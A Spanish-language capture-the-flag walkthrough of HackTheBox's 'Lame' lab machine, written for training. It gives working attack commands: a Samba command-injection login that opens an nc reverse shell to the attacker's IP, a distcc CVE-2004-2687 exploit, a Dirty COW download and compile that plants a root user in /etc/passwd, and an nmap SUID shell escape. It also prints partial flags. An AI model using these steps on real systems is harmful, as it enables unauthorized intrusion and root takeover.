HTB Lame
¡Hola!
En esta ocasión vamos a resolver de la maquina Lame
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre lame
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
❯ mkhack lame
❯ cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
❯ osping 10.10.10.3
[*] Detectando sistema operativo ...
[+] 10.10.10.3 ttl=63 >> Linux
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
❯ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.3 -oG ports | grep open
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
❯ nmap -p21,22,139,445,3632 -sCV -Pn 10.10.10.3 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-07-11T23:33:07-04:00
|_clock-skew: mean: 2h00m39s, deviation: 2h49m46s, median: 36s
RECONOCIMIENTO FTP
Iniciamos con el reconocimiento del puerto 21
donde podemos acceder con el usuario y contraseña “anonymous”, obteniendo disponibilidad de los servicios, sin embargo, no es posible acceder a la información de la máquina.
❯ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:bast1ant1c): anonymous
331 Please specify the password.
Password:
230 Login sucessful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
Vamos a verificar si la versión de vsftpd
es vulnerable por medio de la utilidad searchsploit
.
❯ searchsploit vsftpd 2.3.4
--------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
--------------------------------------------------------- ---------------------------------
Luego de revisar el exploit unix/remote/49757.py
, detectamos que agregando :)
en el usuario al momento de acceder, en caso de ser exitoso generamos un acceso a la máquina.
❯ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:bast1ant1c): hi:)
331 Please specify the password.
Password:
whoami
RABBIT HOLE
En esta ocasión nos encontramos con un Rabbit Hole
un servicio que aparenta ser explotable pero no lo es, por lo que tenemos que seguir revisando los otros puertos y servicios encontrados.
ENUMERACION SMB
Continuamos con la enumeración del servicio samba
, vamos a listar los recursos compartidos en caso de ser posible para tener un potencial acceso.
❯ smbclient -L //10.10.10.3/ -N --option='client min protocol=NT1'
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
Vamos a verificar si la versión de vsftpd
es vulnerable por medio de la utilidad searchsploit
.
❯ searchsploit samba 3.0.20
-------------------------------------------------------------------------------------------------- ------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------- ------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------- ------- -----------------------------
Luego de revisar el exploit unix/remote/16320.rb
, detectamos una vía potencial que permite ejecución remota de comandos RCE
remote command execution al momento de acceder, en caso de ser exitoso generamos un acceso a la máquina.
❯ smbclient //10.10.10.3/tmp -N --option='client min protocol=NT1' -c 'logon "/=`nohup nc -e /bin/bash 10.10.14.6 4564`"'
nohup: se descarta la entrada y se redirige la salida de error a la salida estándar
Anonymous login successful
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario root
❯ nc -lvnp 4564
listening on [any] 4564 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 46709
whoami
root
ENUMERACION DISTCCD
Vamos a realizar la búsqueda de posibles vulnerabilidades en el servicio distcc
, investigando un poco, existe un script distcc-cve2004-2687
de nmap que identifica si la versión de distcc es o no vulnerable.
❯ locate .nse | grep dist
/usr/share/nmap/scripts/distcc-cve2004-2687.nse
❯ nmap -p3632 -Pn 10.10.10.3 --script=distcc-cve2004-2687
PORT STATE SERVICE
3632/tcp open distccd
| distcc-cve2004-2687:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://distcc.github.io/security.html
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
Detectamos que el servicio es vulnerable al CVE-2004-2687, así que vamos a hacer uso del exploit CVE-2004-2687 del repositorio de github de k4miyo.
cd ../exploit
❯ git clone https://github.com/k4miyo/CVE-2004-2687
Clonando en 'CVE-2004-2687'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
Recibiendo objetos: 100% (9/9), listo.
❯ cd CVE-2004-2687/
[+] Payload: Payload generated!
[+] Execution: DistCC Daemon exploited with success!
[+] Opening connection to 10.10.10.3 on port 3632: Done
[q] Trying to bind to :: on port 4564: Trying ::
Traceback (most recent call last):
File "/home/bast1ant1c/Desktop/bast1ant1c/HTB/lame/exploit/CVE-2004-2687/CVE-2004-2687.py", line 120, in <modu le>
shell = listen(lport, timeout=20).wait_for_connection()
File "/home/bast1ant1c/.local/lib/python3.9/site-packages/pwnlib/tubes/listen.py", line 105, in __init__
listen_sock.bind(self.sockaddr)
OSError: [Errno 98] Address already in use
[*] Closed connection to 10.10.10.3 port 3632
Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario deamon
❯ nc -lvnp 4564
listening on [any] 4564 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 54873
whoami
daemon
ESCALADA DE PRIVILEGIOS KERNEL
Una vez tenemos acceso a la maquina vamos a realizar el escalamiento de permisos para poder obtener acceso privilegiado y control absoluto, en esta ocasión vamos a verificar la versión de kernel de la maquina víctima.
script /dev/null -c bash
daemon@lame:/tmp$ uname -a
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Realizamos la búsqueda de posibles exploits que logren dar acceso privilegiado a la máquina.
❯ searchsploit linux kernel 2.6.24
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Loc | solaris/local/15962.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - | linux/local/9844.py
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - | linux/local/19933.rb
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privi | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Pr | linux/local/40812.c
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local | linux/local/5092.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privi | linux/local/50135.c
Linux Kernel 2.6.20/2.6.24/2.6.27_7-10 (Ubuntu 7.0 | linux/remote/8556.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW / | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/ | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKE | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_PO | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self | linux/local/40611.c
Hacemos la descarga del script linux/local/40839.c
.
❯ searchsploit -m linux/local/40839.c
❯ mv 40839.c dirty.c
Por medio de un servidor http generado en python desde nuestra máquina, vamos a compartir el exploit descargado.
❯ sudo python3 -m http.server 80
Desde la maquina víctima, por medio de la utilidad wget
descargamos el exploit compartido anteriormente.
daemon@lame:/tmp$ wget http://10.10.14.6/dirty.c
--00:53:49-- http://10.10.14.6/dirty.c
=> `dirty.c'
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,817 (4.7K) [text/x-csrc]
0% [ ] 0 --.--100%[==================== ================>] 4,817 --.--K/s
00:53:50 (908.03 KB/s) - `dirty.c' saved [4817/4817]
Luego de descargado, se procede a compilar el exploit.
daemon@lame:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
Finalmente, ejecutamos el exploit seguido de una contraseña aleatoria, en este caso la mía ha sido hacked
.
daemon@lame:/tmp$ ./dirty hacked
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: hacked
Complete line:
bast1ant1c:fiOEyJZz3b5lA:0:0:pwned:/root:/bin/bash
mmap: b7ef5000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'bast1ant1c' and the password 'hacked'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
daemon@lame:/tmp$ madvise 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'bast1ant1c' and the password 'hacked'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
NOTA: El script fue modificado para traer como username bast1ant1c
, el usuario por defecto es firefart
.
Ahora que tenemos usuario y contraseña, vamos a conectarnos por ssh
a la maquina víctima.
El exploit ha creado un usuario con permisos de administración, por lo que la conexión realizada nos da acceso a un usuario con todos los privilegios.
❯ ssh bast1ant1c@10.10.10.3
bast1ant1c@10.10.10.3's password:
Last login: Mon Jul 11 23:25:01 2022 from :0.0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
bast1ant1c@lame:~# whoami
bast1ant1c
NOTA: Sigue la recomendación del exploit “DON’T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd” para restablecer los usuarios de la máquina.
ESCALADA DE PRIVILEGIOS POR PERMISOS
Ahora vamos a realizar el escalamiento de privilegios revisando los permisos en la máquina.
daemon@lame:/tmp$ find / -perm /4000 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
Podemos ver que tenemos permiso de ejecución en /usr/bin/nmap
, así que buscamos en GTFObins como obtener una shell por este medio.
daemon@lame:/tmp$ nmap --interactive
nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# whoami
whoami
root
¡Logramos tener acceso como root! No queda nada más, vamos a acceder a las carpetas que contienen las flags y eso es todo.
sh-3.2# find / -name user.txt | xargs cat | head -c 10; echo
bf63bb140c
find / -name root.txt | xargs cat | head -c 10; echo
9179df2fa8
¡Hemos logrado completar la máquina Lame
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.